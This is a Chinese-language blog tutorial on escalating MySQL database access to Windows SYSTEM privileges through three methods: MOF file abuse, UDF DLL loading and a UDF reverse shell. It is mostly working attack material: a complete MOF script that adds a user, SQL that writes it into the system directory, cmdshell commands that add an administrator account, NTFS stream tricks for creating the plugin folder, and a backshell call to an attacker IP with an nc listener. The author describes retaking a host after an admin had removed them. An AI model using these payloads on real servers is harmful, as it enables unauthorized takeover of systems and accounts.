1. 程式人生 > >利用mysql的幾種提權方式

利用mysql的幾種提權方式

利用mysql的幾種提權方式

mof提權

1.原理
在windows平臺下,c:/windows/system32/wbem/mof/nullevt.mof這個檔案會每間隔一段時間(很短暫)就會以system許可權執行一次,所以,只要我們將我們先要做的事通過程式碼儲存到這個mof檔案中,就可以實現許可權提升。

2.利用條件
1. mysql使用者具有root許可權(對上面那個目錄可寫)
2. 關閉了secure-file-priv

3.利用方式
下面是一段寫好了的mof利用程式碼

#pragma namespace("\\\\.\\root\\subscription"
) instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select \ From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer
as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };

這段程式碼只是在目標系統上添加了一個admin使用者,並沒有新增到管理員組(如果需要自行查詢,網上很多),將這個檔案儲存為nullevt.mof上傳到任意一個你在目標機上可寫的路徑(當然,如果你直接可以寫到c:/windows/system32/wbem/mof/就更好了),接下來我們就可以直接執行sql語句把該檔案寫入到目標路徑:

select load_file('你上傳的路徑/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

執行完後,你可以在你的webshell裡執行使用net user檢視是否多了一個admin使用者,如果有則說明可以利用,否則就不需要繼續了。


注:經過我在win2003測試,沒有成功利用。但是網上很多資料都提到win2003很容易利用,而更高版本的就很難成功了,所以大家遇到win2003可以試一下這種提權方式

udf提權

1.原理
UDF提權是利用MYSQL的自定義函式功能,將MYSQL賬號轉化為系統system許可權

2.利用條件
1. Mysql版本大於5.1版本udf.dll檔案必須放置於MYSQL安裝目錄下的lib\plugin資料夾下。
2. Mysql版本小於5.1版本。udf.dll檔案在Windows2003下放置於c:\windows\system32,在windows2000下放置於c:\winnt\system32。
3. 掌握的mysql資料庫的賬號有對mysql的insert和delete許可權以建立和拋棄函式,一般以root賬號為佳,具備`root賬號所具備的許可權的其它賬號也可以。
4. 可以將udf.dll寫入到相應目錄的許可權。

注:關於plugin目錄,可在mysql中執行

show variables like '%plugin%';

進行檢視,這個目錄也就是dll檔案需要匯入的目錄

3.利用方式
1. 將dll檔案匯入到相應目錄,如果匯入錯誤會產生can`t open shared library錯誤
2. 建立自定義函式

create function cmdshell returns string soname 'udf.dll';
select cmdshell('net user miao zjicmisa.org /add');
select cmdshell('net localgroup administrators miao /add');
drop function cmdshell; 刪除函式
delete from mysql.func where name='cmdshell'  刪除函式

注意這裡的函式名應該與dll檔案中的函式名一致。

是不是感覺挺麻煩的,首先找dll檔案就是一個問題,其實這個dll檔案完全可以從帶有udf提權功能的大馬的原始碼中去找。當然我們也可以利用別人寫好的工具,網路上有很多關於udf提權的利用指令碼。

我用的這個指令碼還不錯
mark


下面是我使用udf拿下之前一臺被管理員踢出去的主機的截圖
mark

mark
成功添加了test使用者到管理員組
mark
當然關於udf有一個特別需要注意的問題,就是5.1以上版本預設情況下/lib/plugin目錄是不存在的,還好有大牛已經想出瞭解決辦法——NTFS ADS流來建立資料夾(該方法我們測試過)

select @@basedir;   
//查詢到mysql的目錄
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';   
//利用NTFS ADS建立lib目錄
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';
//利用NTFS ADS建立plugin目錄

上面的目錄應該是相應的mysql目錄,讀者在測試時應該根據情況進行修改

注:udf提權也是一般應用於win2000、win2003系統

mysql反彈shell提權

其實這也屬於udf提權,只不過應用場景不同,比如現在我們沒有webshell但是我們卻有偶然得到了mysql的root密碼(弱口令等),恰巧目標機的資料庫可以外聯或者有phpmyadmin,那麼我們就可以把上面udf.dll檔案的內容先插入到資料表中,然後再匯出到/lib/plugin目錄。

注:這裡我看到網上的資料都是講mysql.txt匯入到資料庫中,mysql.txt也就是udf.dll檔案的2進位制轉換為16進位制,這裡我不太清楚為什麼需要轉成十六進位制,但是我知道如果udf.dll檔案成功匯入到plugin目錄是可以成功反彈shell的

  • 然後建立函式backshell
CREATE FUNCTION backshell RETURNS STRING SONAME 'mysqldll.dll'; //建立backshell
  • 在具備獨立主機的伺服器上執行監聽
nc -vv -l -p 12345
  • 最後就是執行backshell
select backshell("你的ip地址",12345);

mark
上圖是我在win2003的測試結果,但是我是通過webshell將udf.dll匯入plugin目錄完成的
- 如果成功返回了shell則說明成功了,我們就可以新增使用者了

文中提到的指令碼在我的公眾號回覆”udf提權”,可獲得連結
這裡寫圖片描述